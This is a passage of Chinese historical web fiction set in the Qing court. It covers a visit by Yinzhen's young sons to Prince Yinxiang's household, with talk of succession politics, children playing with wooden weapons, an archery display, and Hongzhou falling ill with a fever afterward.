十三爷略有些宽厚的大掌拍了拍弘昼和弘历的脑袋笑道:“知道你们过来是想要找弘暾玩,那便让下人们带着你们过去你们婶母的院子吧。在十三叔的府上不必顾忌什么,好好玩尽兴了就是。” 十三爷对孩子的教育和四爷对孩子的教育不同,他并不是三岁就把孩子搬到前院来,而是要等孩子十岁的时候直接单独辟出一个院子居住,打算的就是日后成婚了直接连带孩子的福晋以及孙子都住在那里。是以现在弘暾即便已经开始念书了,依旧是跟着十三福晋住的。 婶母?弘昼回想了一下,好像没有见过这位婶母。但无所谓,只要自己表现得乖一点,想来婶母也不会不喜欢自己。 十三爷话音一落,便招了招手叫来了一个嬷嬷,叫他带着弘昼和弘历去十三福晋的院子。 弘昼看了看四爷的脸色,见他没有反对的意思便高高兴兴地跟着走了。 看着两个孩子离去后,十三爷爽朗的笑意才落了下去,对着四爷比了一个请的手势将他带到了书房。 “如今看来八哥那边是要推十四弟上位了。”进了书房后,十三爷屏退左右声音有些无奈,“也不知八哥到底给十四灌了什么迷魂药,他竟铁了心跟着八哥。” 十四是四爷一母同胞的亲兄弟,但因这四爷幼时并未养在德妃身边所以跟他不算亲近。但十三爷幼时额娘身份低微,他被养在了德妃的永和宫,是以他算得上是和十四一起长大的。 幼时的关系也颇好,只是不知道什么时候开始渐行渐远了。如今他跟着四哥,而十四则一门心思跟紧了八哥,闹到现在已经有了些水火不容的架势了。 “原本料定他们是要推老十的,”四爷的眸色深沉,“毕竟老十的身份高贵,身后又有钮祜禄一家,却不承想竟然将主意打到了十四的身上。” “老十,”十三爷微微牵了牵嘴角,“身份上是够的,但到底还是太鲁直了。” 这话就有些委婉了,老十的性子说好听点叫待人接物直爽。说难听点,便是看不懂人脸色,倘若只是看不懂脸色也就罢了,偏偏这个老十除却骑射略好些外其余的可以说是一无是处。 但八爷他们一党,八爷已经被康熙厌弃,甚至停发了俸禄和属官供给。而九爷则自幼便不受待见,甚至因为勒索大臣的事情被狠罚过两回。这两个都被排除了,也就剩下老十和十四了。 原本四爷推测是老十,原因便是十四毕竟年纪在兄弟中实在太小了些,又没有什么数得上的功绩。甚至于现在还只是个光头阿哥,而老十可已经是郡王了,不论这个郡王是不是看在温僖贵妃和孝昭皇后的面子上,可到底已经成郡王了。 要知道他们兄弟如今已经有二十几个了,而封亲王的不过三位,封郡王的也就两个。八爷在之前可也只是个贝勒,而九爷更只是贝子,十四甚至连贝子也没有。 四爷的手放在茶盏上,轻轻地敲击着:“即便是将十四推上来,咱们也不必留手。毕竟想来若是咱们败了,十四弟也不会对咱们留手。” 十四对于十三的态度还好,对四爷一直是不大尊敬的。十三爷也多少明白了些四爷的意思,沉默了一瞬间开启了另一个话题:“汗阿玛好似又病了,这回右手已经不能书写了。” “这些年来汗阿玛一直小病不断,想来这回也能很快痊愈。”四爷似乎轻笑了一下,“但咱们这做儿子的自然要为汗阿玛分忧,汗阿玛病时最不喜咱们在他面前互相攻讦,既然不能在乾清宫侍奉汤药,那这些日子咱们便退一退吧。” 每回康熙病了,对这些年长皇子们的态度都会有些冷淡。四爷多少也明白人都是恐惧生老病死的,特别是触碰到了其中的两个字后,便会对这些可能继任他的人更为冷淡些。 这种时候若是冲上去要为汗阿玛分忧,只怕是要被两巴掌打回来。只有好好表现自己的孝心,让汗阿玛看到自己是真心为他的身体着想的,才能教他心中舒服些。 十三无声地点了点头,这个话题其实和他没有太大的关系,因为他现在不受汗阿玛的待见连乾清宫都要进不去了更别提什么侍奉汤药了。 这个话题绕过去后,四爷又开始谈起了别的,他们如今见面的机会没有那么多,如今见了自然要多交流些别的。 另一边弘昼和弘历跟着嬷嬷来到了正院,刚到正院外头就候着一个大丫鬟,见到嬷嬷来了满脸堆笑上前:“肖嬷嬷安,这两位就是雍亲王府的四阿哥和五阿哥吧,给两位阿哥请安了,我们三阿哥正在里头等着两位阿哥呢。” 三阿哥?弘昼恍惚了一瞬间,随即想到了弘暾在十三叔府中好似序齿就是行三,便点了点头露出了一个笑:“劳烦姐姐了。” 这大丫鬟的笑意更甚,带着弘历和弘昼就进去了。 一进去见到了正中间一位瞧着二十五六岁的年轻女子,她容貌秀美,唇边总带着一抹温和的笑意。打扮不算华丽,但独有一股清水出芙蓉的气质,看见弘历和弘昼后莞尔一笑。 不用提都知道这是谁了,弘昼笑着行礼:“见过婶母。” 十三福晋起身将他们拉了起来,笑道:“好孩子快起来,你们就是弘历和弘昼吧。从前去见四嫂的时候你们年岁都还小,不好抱出来叫我见见,如今总算是见到了。这些日子弘暾可一直念叨着你们呢,在这府上只管当成自己家便是了。” “多谢婶母,”弘昼笑嘻嘻应道,左右环顾了一圈,“弘暾不在吗?” “自然是在的,”十三福晋挥了挥手,“把孩子们叫出来见见哥哥弟弟吧。” 孩子们?这是有几个孩子,弘昼在心中嘀咕。 不一会儿,便来了弘暾还有一个八。九岁的姑娘,看样子应当是弘暾的姐姐,模样很是精致可爱。不过现在冷着一张脸,似乎是不大高兴的样子。 “你们来了,”弘暾的衣裳前襟还有袖口都是墨水,连手上都染上了墨水,他高兴地上前想要拉住弘昼,“可算来了,我都等你们好久了。” 但还没拉住弘昼,便被旁边的姑娘拉住了衣领,不高兴道:“你这浑身都是墨水的,将两个弟弟衣裳弄脏了怎么办?你刚刚就把我最喜欢的布老虎弄脏了。” “二姐姐我错了嘛。”弘暾告饶,“你先把我放开,我在弘历和弘昼面前要丢尽脸啦。” “菱雅,把你三弟放开。”十三福晋出声,“过来见过你们雍亲王府的四弟和五弟。” 菱雅还没上前,便有两个嬷嬷抱着两个孩子进来了。其中一个瞧着应当是一两岁了,另一个则还在襁褓之中应该才几个月。 “这是弘晈,是你们四弟,如今有两岁了,现在说话还不利索呢。”十三福晋指了指那个一两岁的孩子,又指了指那个更小些的孩子,“这是和惠,现在才五个月大呢,是小妹妹。” 难怪是孩子们,原来竟然有五个。 和惠还在睡觉,被抱出来亮了一回相后便被抱回去了。而弘晈则被留了下来,他现在话都说不清楚但一直吵着叫着要跟哥哥一起玩,弘暾被闹得无法只能带着他了。 而菱雅则打了个招呼便走了,她不耐烦和比她小这么多的小孩子一起玩。加之她昨儿还和大姐姐约好了要去描花样子,便不在这里留下了。 十三福晋也知道在自己跟前孩子们必然放不开,非常体贴地让弘暾带着弘历弘昼还有弘晈去他的卧房玩。 弘暾带着几人来了他的卧房,弘昼上下打量了一下。房子挺大的,其中有许多东西瞧得出是弘暾用了许久的,能看出他在这里应当住了挺长时间。 到这里后,弘历和弘昼将准备好的东西递给了弘暾。 “这是什么?”弘暾惊喜地睁大了眼睛,“这个小羊也太可爱了,还有这个折扇,这老虎好威风。日后我长大,一定比老虎还要威风。” 弘晈在一旁坐着,似乎有些不高兴地瘪了瘪嘴:“我也要,我也要。” “要要要你什么都要,”弘暾没好气说道,“这个不许要,你饿了吗?要不要嬷嬷带你回去用膳?” “我不饿,哥哥……带我玩。”弘晈现在吐字还有些不大清晰,“我不要,嬷嬷。” 弘暾无奈地叹了口气,他这个年纪的小孩子最喜欢玩闹,但弟弟既不能跑也不能玩,甚至连话都说不清楚。他私心里觉得,和弘历弘昼玩的时候带着弟弟,简直就是累赘。 不过这话他不敢说出来,毕竟额娘要是听到这话肯定是要教训他的。他都已经这么大了,被教训也太丢脸了,若是在弘昼和弘历面前被教训,那就更丢脸了。 这样想着,弘暾才勉强忍下了,将弘昼和弘历带过来的东西妥帖放好之后才从另一边的书桌上拿出了一样东西,献宝似的展开:“你们看这是我最近写的大字,先生说我这几张写得可好了。” 这展开是一幅大字,甚至于是被装裱好了的。上面的字只能称得上是横平竖直,是很经典的小孩子学写字后的字体,若说能夸出来的也只有这字写得很规矩了。 但既然弘暾献宝般捧出来的,弘昼还是夸了几句,把弘暾夸得脸上笑意都止不住了。 被夸后,弘暾突然灵机一动:“要不我教你们写字吧,你们要是今日在我这里学会写字了,回去四伯一定会夸奖你们的。” 第47章 长兵 第47章 这话让弘昼愣在了当场,我期待这么久过来玩,你就准备带我写大字? “不不不,”弘昼的脑袋摇得和拨浪鼓一样,“阿玛说了我们明年才开始学写字,现在人小力弱的暂时没必要学。” 弘暾的眼神清澈:“你放心我一定能教会你们的,写大字不难的,先生教我两回我就会了。” “不要,”弘昼继续坚定地摇了摇脑袋,“我们今天是过来玩的,才不要写字。” 弘暾的目光有些失望,转向了弘历,希望这个堂弟能支持一下自己。若是他支持了,说不定弘昼就愿意和自己一起学写字呢? 弘历本来是无所谓的,他看着弘暾写出来的字原也有些好奇。但既然弟弟这么坚定地拒绝了,他便也从善如流地摇了摇头表示自己也不想写。 目睹这一切的弘晈很欢快地拍了拍手掌:“不写,不写,要玩,要玩。” “这有你什么事?”弘暾没好气地冲着弘晈说道,随即将自己手中的大字收了起来,带着弘昼和弘历翻开了他装着玩具的匣子,很大方地表示,“你们看看想玩什么?” 这里头霸王鞭小木剑之类的东西倒是一应俱全,但弘昼自己也有这些玩具,倒也不算很感兴趣。原本打算随意拿一件出来的,但还没拿出来就听到弘暾又开始说话了。 “对了,差点忘了。”弘暾拍了拍自己的脑袋,眼睛里带了点骄傲,“阿玛前些日子命人给我打了刀枪剑戟,就在前院的校场中摆着呢,咱们过去瞧瞧吧。” 十三爷的府上有一个小小的校场,并不算大,是专门用来给府上的小阿哥们练武的。原本只有弘昌在这里练武,但如今弘暾的年纪也渐渐大了,十三爷便命人打了些木质的刀枪剑戟放在了校场上供弘暾玩乐。 “刀枪剑戟?”弘昼的眼睛亮了一下,他只有小木剑,什么长枪长戟之类的东西是没有,现在能在十三叔府上见识一下也不错。 弘历也很兴奋:“那咱们就过去瞧瞧吧。” “先别急,我要去得先和我额娘说一声,把弘晈交给嬷嬷才行。”弘暾说道,他可不想带着弟弟去前院,那实在是太麻烦了。 弘晈似乎听明白了,瘪着嘴不乐意:“我也去,我也去,哥哥,带我去。” “弘晈乖啊,”弘暾上前摸了摸弘晈的脑袋,很费劲地将他抱起来了一下,“等哥哥后面回来了再陪着你玩啊,乖乖地跟着额娘还有妹妹玩。” “妹妹,睡觉。”弘晈委屈道,“不和,我玩。” “等一会妹妹就睡醒了。”弘暾不走心地安慰道,“妹妹醒了你就能跟妹妹玩了,到时候妹妹玩累了哥哥自然就回来了,就一会儿。” 虽然弘晈面上还是不大情愿,但弘暾已经叫上嬷嬷把他抱走了。十三福晋瞧见弘暾和弘晈过来,立刻就明白了是怎么一回事。 “额娘,我要带着弘历和弘昼去前院的校场瞧瞧。”弘暾自然道,“弟弟年纪太小了不适合过去,等我陪着他们玩一会儿后再回来陪着弟弟。” 十三福晋似笑非笑看了弘暾一眼,不打算在这时候揭穿弘暾,伸手从嬷嬷手中接过了弘晈哄了哄道:“你们去吧,不过要记得等会儿用晚膳之前要将两个弟弟带回来。” 听到这话,弘暾的眼睛更是一亮:“他们等会儿要留下来用晚膳?” “不错,”十三福晋点了点头,“你阿玛在前院已经留了你四伯了,你四伯既然留下来,弘历和弘昼自然也是要留下来的。” 方才十三爷留了四爷后,便直接命人来后院说与十三福晋了。这便是让十三福晋亲自安排菜品,毕竟四爷本就少有前来,这回前来必然要让他宾至如归的。 十三福晋也明白这位四哥应当是自家爷最为要好的兄弟了,加之这些年他们府上不受汗阿玛待见四哥一直在帮衬着,她心中也是感激的。现在四哥愿意留下来用晚膳,必然是要好好招待的。 “耶!”弘暾欢呼了一声,高兴地转身就跑,要去和两个小伙伴分享这件喜事了。他们至少可以在这里玩一下午了,若是阿玛和四伯聊得更开心些,说不定能在这里留宿呢。 若是在府中留宿,弘暾想了想,他愿意把自己的床分出一大半来给弘昼和弘历。虽然他不是很喜欢和弘晈一起睡觉,但那是因为弘晈晚上要起夜,会把他吵醒的。 想到这,弘暾又有些不确定地想,弘历和弘昼晚上应当不会起夜吧。算了算了,就算起夜也认了,这可是难得的机会。 十三福晋怀中抱着弘晈,看着弘暾跑出去的背影浅笑着摇了摇头。还真是一点也不稳重,如今还要,等再大些便要叫他改掉这毛病了。 “额娘,”趴在额娘怀中,弘晈有些委屈,“我也想,和哥哥们,玩。” 听着这稚嫩的童言童语,十三福晋笑着哄道:“跟着额娘去玩好不好?额娘今儿要带着你和妹妹一起玩呢,弘晈喜不喜欢?” “妹妹,醒了?”弘晈表示怀疑,妹妹可能睡了,一天到晚都在睡,比三哥都还能睡。 “马上就醒了,现在咱们先去瞧瞧花花好不好?”十三福晋抱着弘晈来到了桌边,那里是今晨刚从花园采摘的花,如今春日里花园中姹紫嫣红的这摘下来的花也极为好看。 弘晈很好哄,额娘哄了几句便罢了。被抱着盯着眼前的花,心中想的是妹妹什么时候能醒来。 而另一边,弘暾兴奋地奔到了自己的卧房,见弘昼和弘历正在摆弄他的小玩具。 “我额娘说了,”弘暾的语气很轻快,“等会儿你们要留下来用晚膳。” 弘昼手中正拿着一把小木剑在手中比画着,这小木剑只有他的手臂大小,比他自己的小木剑至少小一半以上。不过这木剑的雕刻要更加精致些,剑柄的花纹繁杂,与其说是玩具更不如说是一个摆件。 听到这话猛地抬起头,有些诧异:“你说真的?” 在手里摆弄着东西的弘历也抬头,见弘暾点头不禁露出了一丝笑意。 “先不说这个,既然你们要留下来用晚膳,咱们便能玩一下午了。”弘暾说道,“快些跟我去校场吧,也好让你们见识见识我的刀枪剑戟。” 说罢便一手拉着一个往前院而去,身后跟了两个嬷嬷。 十三爷的府邸仅仅是皇子规制的,而四爷的府邸是亲王规制,相比之下十三爷的府邸要小不少,从后院到前院的距离也要短些。到了校场后,那里并不是空无一人的,而是有一个小少年正在拿着弓箭射着对面的靶子。 “大哥也在。”弘暾诧异地挑了挑眉,他之前这个时间来校场,一般是碰不到大哥的,大哥这时候不是在跟着先生念书,就是出门了与他的朋友们玩耍,倒是少见还在校场的,毕竟大哥并不是很喜欢骑马射箭。 见校场来了人,弘昌神色冷淡地看了过来,遥遥地对着这边点了个头,随即便继续转头拿着弓箭瞄着对面的靶子。 弘暾大声地冲那边打了个招呼,然后便兴冲冲地带着弘昼他们去他自己的小角落。这个角落的兵器架上面摆满了木质武器,刀枪剑戟,斧钺钩叉,一个不落。看这兵器的大小,应该是专门给弘暾做的。 “来你们看看,想要玩哪个?”弘暾很是大方地指着自己的兵器架,表示让他们随便挑。 弘昼一个个地看过去,颇有些感兴趣地拿起了长刀。小时候谁没有听过青龙偃月刀的名头,拿起来cos一下。 而弘历则拿起了长枪,这枪虽然也是木质的,但枪头下面依旧镶了红缨,舞起来的时候红缨在天空中飘荡。 见他们都选好了,弘暾便随意地拿起了戟。在手中挥舞了一下后,冲着弘昼摆了个姿势:“我马上就要开始进攻了,你们可要小心些。” 说罢,手中的戟又挥舞了一下,见弘昼两人都点了点头后才开始舞向他们。 三人选的都是长兵器,不需要距离对方太近就能开始攻击。但他们心中都有数,不会专门挑对方的身体开始打,而是看准了兵器想要来个长兵相接的效果。 原本弘昌还在静心练着射箭,他准头不大好,前儿跟着弘晳堂哥出去被旁人笑话了。虽说后面堂兄为他说话了,但他心中还是不大痛快,想起那些人说的满人骑马射箭无一不通,堂兄在他这时候已经能射中天上的鸟儿了,他便越发努力想要赶上。 但听着这些小孩子传出来的吵闹声,他狠狠地皱了皱眉。有心想要叫他们小声些,但想了想还是作罢了。阿玛和四伯的关系好,这两个小的难得来一趟,倘若他说了这话被弘暾告到阿玛那里去,他必然是要被训斥的。 想到这弘昌撇了撇嘴,将手中的弓随意地扔在了地上,便往外走去。他惹不起总能躲得起吧,阿玛喜欢巴结四伯,他却不喜欢。 这边打得火热的三人并未注意到弘昌已经走了,等他们停下来时已经是累得气喘吁吁的身上都带着汗水。 嬷嬷在一旁给三位阿哥都擦了汗,自家阿哥就不必说了,这两位可是雍亲王府的小阿哥可不能怠慢的。 喘了两口气后,弘暾指着校场外头的一个小亭道:“我们去那个亭子休息一会儿吧,嬷嬷,让人给我上点心和茶水。” 说完就拉着弘昼两人准备往那走去,但还没走出去就看见了进来的十三爷和四爷。 第48章 生病 第48章 “阿玛?”弘暾有点惊讶,随即马上行礼问安,跟在他身后的弘昼和弘历也学着他的模样。 十三爷的眼神一扫就看到那还没收回去的兵器架,微微颔首。看到那一排的木质小兵器,他就明白这三个小孩过来是为了什么了。 “阿玛,你们过来也是想练武吗?”弘暾睁大了眼睛,好奇地问道。 十三爷淡淡地嗯了一声,转头看向了四爷,唇边带了点笑意:“四哥,你来露一手?” 方才在书房谈着事情,正事已经告一段落了,便不知为何谈到了骑射。 四爷虽说在骑射一道之上,不如那几位练得好的兄弟,但是比之其他的满洲男儿也是不差的。 他看到了十三爷眼中的揶揄之色,淡淡地瞥了他一眼:“取弓来。” 这句话让弘昼和弘历都来了兴趣,他们还没有见过阿玛搭弓射箭呢。不过倒是听从前阿玛尚幼时,在宫中的功课学得颇好,想来骑射的一道上也不会差。 十三爷眼含笑意的扫过了弘昼和弘历,幸而今天这个校场较小,这靶子与弓之间的距离亦不大。加之平时在家中练的*弓更为适合弘昌这样的小孩子,倒是也不怕四哥在这两个小家伙面前出丑。 弘暾也满是好奇地盯着四爷,他想知道自家阿玛和四伯之间谁厉害,但他不敢问出来,便想看看四伯射箭准不准。 下人很快地就将弓箭递到了四爷手上,誓言拿起弓箭,先是在手中掂量了一下,随意地拉开弓弦试了试。然后才将箭搭在弦上,瞄准了对面的靶子,箭咻的一下飞了出去。 下一刻,对面的靶子正中心上就插上了一支箭。 “阿玛好厉害。”弘昼非常捧场地开始惊呼起来,“直接就射到了正中心。” “四伯好厉害,”弘暾也跟着叫了起来,“刚刚大哥练的时候就没有射到中心。” 被两个小孩子这样惊呼的夸奖着,四爷脸上露出了一脸微妙的愉悦之色,但他隐藏得很好,下一秒便变回了原本的一本正经。 “四哥这搭弓射箭的本领可真是不减当年啊,”十三爷也很捧场,“今年木兰秋狝,四哥必也要猎回不少猎物。” 四爷淡笑着摇摇了头:“今年去不去木兰秋狝都两说呢。” “木兰秋狝是什么?”弘昼好奇地问道。 “木兰秋狝便是在秋天,前往木兰围场围猎。”十三爷笑着解释了一遍,“前些年倒是年年都要去的,但这两年去不去还是得看你皇玛法的意思。” 弘昼懂了,原来就是出去打猎,但是听这个木兰围场应该不是在京城附近。不过自己这个年纪,就算今年举行了阿玛多半也是不会带的。 这样想着,他不免蔫了一点。还是年纪太小了一点,要是自己大上一点,也不用太大,只需要十来岁,便能自由不少。 弘昼有时候看着三哥自由出府,其实是很有些羡慕的。 四爷已经露了一手,接下来便轮到十三爷了。 在骑射一道上十三爷很是擅长,在众多兄弟中他也只输老大和老五,甚至比之汗阿玛常常夸奖的十四弟也是要胜过一筹的。他接过了四爷手中的弓,很随意地搭弓射箭,下一瞬,箭就出现在了靶子上。和四爷的那支箭挨着,都在正中间。 弘昼和弘暾很给面子地也夸奖了好几句,十三爷似笑非笑地看着两个小孩子:“待你们再长大些,便也要开始跟着师傅们练习武艺了。咱们满洲男儿,在这方面可不能放松了。” “我明白的阿玛,”弘暾很是期待,“那我什么时候可以开始练武?” “且再过一两年罢,你如今还太小了些。” 听到这话弘暾顿时失落了起来,他年纪还不大,但他也明白一两年是很久的意思。他都已经出生这么久了,但是现在也才五岁多。不过下一瞬他就又开心了起来,乐颠颠地说道:“那到时候阿玛要亲自教我射箭。” “成,”十三爷答应得很爽快,“若是你念书能念好了,到时我亲自教你骑马射箭。” 这边四爷和十三爷都露了一手,在几个小孩子的夸赞之下都舒爽地将弓箭放下。心中暗爽,虽说平日里他们练武的时候旁边夸赞的人也不算少,但哪有自家小孩夸起来让人舒心。 方才在校场玩着兵器便花了不少的时间,现在瞧着落日已经开始西垂了。十三爷便估摸着时间,带着四哥和三个小孩子去用晚膳了。毕竟若是回去的时候天全黑了的话,驾马车难免是有些不便的。 十三爷府邸上的饭菜和自家的有些不同,弘昼吃起来这菜略泛一点甜口。让他吃起来有些惊奇,毕竟自家府中的饭菜皆是咸口的,这甜口吃起来倒是有些江浙菜的意思。不过偶尔换换口味吃上这样的一顿饭菜也不错,很是新鲜。 用过膳后,十三爷便带着弘暾目送着四爷父子三人上了马车。 临别的时候弘暾很是不舍:“阿玛,我下回什么时候能邀请弘昼他们过来玩呀?今天过得太快了,一下子就过完了,还没玩够呢。” “等你,”十三爷思索了一下,“等你将你的字临摹得与字帖一样时,便能请他们前来玩耍了。” 偶尔走动一下当然没问题,但现在这个时间十三爷并不大想和四哥走动得太频繁了。他现在实在不受汗阿玛的待见,也就去年被停了属官食俸的八哥比他的境遇更惨些,旁的兄弟境遇都要比他好上不少。 在这样的情况之下,特别是知道四哥有那分心思,十三爷便不想因为自己拖累四哥了。虽说汗阿玛不一定会因为他们走得近就迁怒四哥,但是万一呢?帝王心谁又能完全预料到呢,只要汗阿玛心中对四哥有一丝的不愉,便会让他在与八哥的斗争中落入下风。 弘暾现在还不清楚要将自己的字临摹的与字帖上一模一样需要多久,他只是欢快地应了下来。想着回去一定要好好练,争取几日之内让弘昼再过来玩一次。 另一边的马车上,弘昼在摇晃的马车上打了个哈欠。真奇怪,平日里这个时间点都是不困的,但今天不知道为何刚上马车就开始犯困了。 四爷的眼神扫了过来,弘昼立刻坐正了身子。 心中暗暗嘀咕了一下,这里又不怕其他人看见,略微歪一下都要被阿玛瞪一眼。 等回府后,弘昼打着哈欠就和四哥回到了他们俩的院子。预备着洗漱过后便睡觉了,今日和弘暾在校场上玩了那么久,也真是有点累了。 郑嬷嬷看见弘昼累得眼睛都有些睁不开了不免好笑:“今儿做什么了?平日里这个时辰可还精神着呢,是要缠着你四哥接着陪你玩的。” 听到这话,张嬷嬷也露出了一个笑意,见自家阿哥脸色也由疲色笑道:“想来是玩高兴了,今儿去十三爷府应当和弘暾阿哥很是投缘。” 因为两位主子住在一个院子,郑嬷嬷和张嬷嬷之间相处得也不错。原本一个院子一般是只有一个掌事嬷嬷的,但毕竟这里较为特殊,有两位阿哥,便有了两个掌事嬷嬷。这两个嬷嬷都是被自家主子叮嘱过的,一般遇到事情都是愿意退一步,这两相一退,自然便能相处好了。 弘昼打了个哈欠:“嬷嬷嬷嬷,我想要回去睡觉了,四哥咱们明儿见了。” “明儿见。”弘历也是有气无力的,两个人今日出去玩这一趟都是将电量耗尽了。 回去后弘昼用最快的时辰将自己洗了个干净,然后便喜滋滋地躺进了被窝。几乎是躺上。床盖上被子的一瞬间,弘昼就陷入了梦乡。 郑嬷嬷小心翼翼将里间的灯吹熄了,只在外间留了一盏供给守夜的小丫鬟。 弘昼毕竟年纪不大,虽说已经开始自己睡觉了,但外间每日里都要在晚上守着一个小丫鬟。这守夜的人是伺候弘昼的人中轮流来,守了夜第二日便不用干活了。 最开始弘昼是抗议过的,他并不想自己在睡觉的时候旁边还守着一个人。不过素来随他去的额娘这回却怎么也不愿意,坚持要留一个守夜的。他不喜欢的话便从里屋放到外屋去,但一定要留个人,以免他晚上若是有什么事情方便喊人,还有就是晚上要进来瞧瞧他踢没踢被子,或者有没有半夜不舒服。 拗不过额娘,弘昼只得同意了。好歹成功将小丫鬟挪到了外间,若是在里间自己睡着不安生,那守夜的人也难免拘谨,在外间好歹自在些。 睡梦中的弘昼只觉得自己浑身燥热,翻了几个身后不耐地将身体上的被子给踢了下去。将被子踢下去不久后又开始觉得有些冷,毕竟现在还是春天,春天的夜晚还是需要穿寒衣的。 守夜的小丫鬟进来过一回,见阿哥踢被子了连忙给他盖上了。后面又怕弘昼在里头踢被子,进来看过两三回。 见被子好好盖在弘昼身上才退了下去,心里愉悦地盘算着等天亮了自己便能回房去补觉了。到时候一觉睡到下午,剩下的时间还能清清静静地自己待一会儿,那时候是绝对不会有人来找自己做活的。 第二天一早,弘昼是听见郑嬷嬷的呼唤声醒来的。他醒来的第一反应是头好疼,第二反应便是嗓子好疼,有心开口说句话,但被嗓子的刺痛给制止了。 郑嬷嬷上前来似乎发现了点不对,伸出手在弘昼的脑门上摸了一下,惊呼出声:“快去请太医,阿哥发烧了!” 第49章 发烧 第49章 下一瞬,院中立刻慌乱了起来。这两位阿哥自从搬到前院来后还从未生过病。甚至于五阿哥从前养在耿格格那里的时候,也是甚少生过病的,现在突然发起了高烧,实在是令郑嬷嬷心绪不宁,心脏开始狂跳。 在这个时代,发热是一种危险的讯号。若是能在短时间内将体温降下来便罢了,若是降不下来轻则烧到痴傻,重则救不过来。想到这里,郑嬷嬷吩咐其他人的时候声音几乎是在抖,若是五阿哥有什么三长两短,不论是王爷还是福晋都是不会放过他们这些伺候的人的。 “快,快,”郑嬷嬷强作镇定,“去打两盆水来,一盆要热的,一盆要凉的。还有将五阿哥发烧的事情禀报爷和福晋,耿格格那里也不要落下了。现在一个个的都给我绷紧了心神,若是阿哥出了什么事,咱们都难辞其咎。” 给弘昼守夜的小丫鬟几乎要吓傻了,五阿哥在她守夜的时候病了,即便后面好了她也是要受罚的。若是没有好……她几乎不敢想自己的后果。 弘历那边也听到了些声音,遣了人过来问了一声,得知是弟弟生病后弘历便皱着眉想要过来瞧瞧。 “阿哥,阿哥不可。”张嬷嬷拦住了弘历,语重心长道,“现在五阿哥那边正忙着呢,咱们过去也帮不到什么,甚至会让那边的人分出心神来照看阿哥,那不是耽误了他们照顾五阿哥嘛。咱们还是遣人过去问问,阿哥接着去跟着先生念书,毕竟五阿哥病了但咱们可没病,若是没去念书,若是爷问起来也不好答啊。” 弘历皱着眉听她讲完:“可是弟弟生病了,我怎么能自己去念书呢?” “等五阿哥病好了,你正好可以教他呀。”张嬷嬷哄道,“到时候你学会了,便能教弟弟了,岂不是最好的?” 这话才让弘历略有些松动,不开心道:“那你要派人好好看着弟弟,随时禀报。” “这是自然。”张嬷嬷松了口气,总算是将这位小祖宗哄去念书了。现在还不知五阿哥是怎么病的呢,她可不敢让自家这位四阿哥去瞧,若是过了病气了那自己岂非也是要遭殃。 如今这个时辰,四爷已经去上朝了不在府中。郑嬷嬷派出去的人只能去后院禀报福晋,若是要请太医前来是需要福晋那边拿出雍亲王府的对牌的。 福晋此时也才刚刚起床,正在梳妆打扮等着其余的人过来请安。听到郑嬷嬷那边派来的人的汇报,当机立断道:“叫人赶紧拿了牌子去请太医,记得一定要快。另外派人去叫后院的侧福晋格格们今日不必来请安了,快些梳妆,我要去前院瞧瞧弘昼。” 发热让福晋想起一些不大好的事情,因为发热殇了的孩童实在是太多了。她娘家便有几个侄子侄女是因为这个走了的,之前府中也有孩子是因为这个走了的。消息禀报到她这里来了,她这个嫡母就必须前去看看了。 桂嬷嬷知道事情的利害,三下五除二将福晋的发髻梳了个简单的,脸上也不必上胭脂水粉了,直接过去就是了。 “对了,”即将走出正院的时候,福晋似乎想起什么,“将这件事也告诉耿氏吧,若她想要来前院便将她带来,让温术去走一趟。” 后院的女眷无故不能随意去前院,但听到儿子发烧了的耿氏肯定坐不住。福晋从前有弘晖,多少也明白这种感觉,加之平日里耿氏也对她很是恭敬有礼,她并不介意在这些地方略松松。 “福晋真是慈悲。”桂嬷嬷赞了一声,转过头去吩咐了一声。 福晋的身形矫健,步伐也比一般的女眷要快些,很快就到了前院。来到了弘昼的院子后,进屋看了看脸色绯红的弘昼。 弘昼发现嫡额娘来了,挣扎着想要起床行礼,却被福晋一把摁了回去。他张了张嘴,想要打个招呼,但嗓子里宛如刀片在割一般,声音一点也发不出来。 福晋似乎是看出了弘昼的意图,对着他摇了摇头说道:“快些好好躺着休息,现在这个时候讲究那些虚礼做什么?” 这话说完又上前亲手将弘昼额头上的巾子重新沁过凉水后拧干再换上,语气很是担忧:“昨儿晚上没有不适吗?怎么烧成这样了。” 府中的阿哥本就不多,若是这里再夭折一个,福晋已经能想象自己下回进宫请安的时候会受到怎样的责问了。若说她有多喜欢弘昼那绝对算不上,毕竟弘昼之前养在耿格格身边,后来便直接来了前院,与她也不过是逢年过节请安的面子情。 但她对弘昼也并无什么恶感,相较于一直蹦跶得很高的李氏,耿氏很是省心。福晋不一定会因此对弘昼爱屋及乌,但绝对会因为李氏对弘时恨屋及乌。 “禀福晋的话,”郑嬷嬷满头大汗回道,“今儿奴婢来叫阿哥起床去念书的时候方才发觉的,都是奴婢等照顾不周,请福晋责罚。” 主子生病了,第一个问责的就是身边伺候的人。郑嬷嬷在平日里收的赏赐最多,自然也会在这种时候站出来回话。 福晋的声音有些冷淡:“你们照顾不周的事情权且记下,等弘昼好了之后再责罚。太医呢,快去命人催催。” 这样吵闹的声音让弘昼的脑袋都有些疼了,他觉得耳朵边一直有声音在吵,似乎是耳鸣。这样的声音让他很是难受,脑子好像要炸开一样,疼得他想要抱头。 正在这时候,耿执羽从外头脚步匆匆地走了进来,她的发髻只是简单地挽了起来,身上衣裳微微有些凌乱,能看出是还没整理好就出门了的。 “参加福晋。”耿执羽进来后先是对着福晋行礼。 福晋微微点了点头:“你起来去瞧瞧小五吧。” 耿执羽这才起身,她的眼眶微红,神情慌乱。听见福晋的话也顾不得客气一下,两步走到了弘昼的床前,伸出手摸了摸他的脸上,感受着掌心传来的灼热的温度,眼睛更红了点。 孩子发烧这样的事情,让她很难不着急。 “耿妹妹不必太过担忧,”福晋看见耿执羽的神色,眼睫微微往下垂了一点,“咱们小五一向身体康健,只等着太医过来开上两副药吃了就好了。” 孩子病了,最担心的就是母亲了。福晋想到了从前弘晖还在的时候,那时候四爷待弘晖极严,对他的期望很重。但她自己私心里是最盼着孩子能健健康康一生的,所以每次弘晖生病的时候她也如现在的耿执羽一般。 想到这里,福晋感受到了来自心脏的一点点刺痛。这些年来,只要一想起弘晖她便能感觉到这股疼痛,想到那个已经养大的孩子,明明只要再过几年弘晖甚至都能娶福晋了,最后却还是离自己而去。 “多谢福晋。”耿执羽勉强扯出了一个笑算作回应了福晋,但眼神还是一眨不眨地盯着弘昼,将他额头上的巾子重新沁了水又拧了一遍。 前去请太医的人自然知晓利害,几乎是一路拽着太医前来。太医身后的药童拿着药箱紧赶慢赶,来到弘昼院子的时候,太医在屋外缓了一会儿才进来。 